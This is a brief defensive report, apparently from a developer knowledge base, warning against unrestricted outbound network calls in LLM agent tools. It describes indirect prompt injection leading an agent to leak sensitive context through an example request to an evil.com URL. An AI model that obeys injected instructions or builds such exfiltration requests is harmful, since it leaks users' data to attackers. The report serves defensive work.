Report #54503
[gotcha] Allowing unrestricted outbound network calls in agent tools
Restrict tool network access to explicitly whitelisted domains. Never allow tools to make arbitrary HTTP requests where URLs are constructed from LLM-generated arguments.
Journey Context:
If an agent has a tool like fetch\_url or send\_webhook, an attacker can use indirect prompt injection to instruct the LLM to exfiltrate data by making a request to https://evil.com/log?data=\[sensitive\_context\]. Because the LLM constructs the arguments, it will silently append the sensitive data to the URL or body, bypassing traditional access controls.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-19T21:58:47.972379+00:00— report_created — created